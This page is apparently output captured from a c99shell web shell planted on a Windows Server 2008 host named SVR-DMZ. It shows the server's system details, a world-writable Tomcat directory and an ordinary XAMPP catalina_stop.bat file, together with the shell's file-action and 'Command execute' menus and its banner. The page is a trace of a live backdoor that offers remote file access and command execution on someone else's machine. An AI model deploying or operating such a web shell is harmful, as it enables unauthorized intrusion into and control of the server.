Software: Apache. PHP/5.5.15 uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 SYSTEM Safe-mode: OFF (not secure) C:\dmz\tomcat\ drwxrwxrwx |
Viewing file: catalina_stop.bat (874 B) -rwxrwxrwx Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) | @echo off :::::::::::::::::::::::::::::::::::: :: Set JAVA_HOME and :: :::::::::::::::::::::::::::::::::::: echo. echo [XAMPP]: Searching JDK HOME with reg query ... set KeyName=HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Development Kit reg query "%KeyName%" /s if %ERRORLEVEL% == 1 ( echo . [XAMPP]: Cannot find current JDK installation! echo . [XAMPP]: Cannot set JAVA_HOME. Aborting ... goto :END ) set "CURRENT_DIR=%cd%" set "CATALINA_HOME=%CURRENT_DIR%" set Cmd=reg query "%KeyName%" /s for /f "tokens=2*" %%i in ('%Cmd% ^| find "JavaHome"') do set JAVA_HOME=%%j echo. echo [XAMPP]: Seems fine! echo [XAMPP]: Using JAVA_HOME : %JAVA_HOME% echo [XAMPP]: Using CATALINA_HOME : %CATALINA_HOME% echo. if %ERRORLEVEL% == 0 { del /F/Q logs\catalina.pid } "%CATALINA_HOME%\bin\catalina.bat" stop :END echo done. pause |
:: Command execute :: | |
--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0156 ]-- |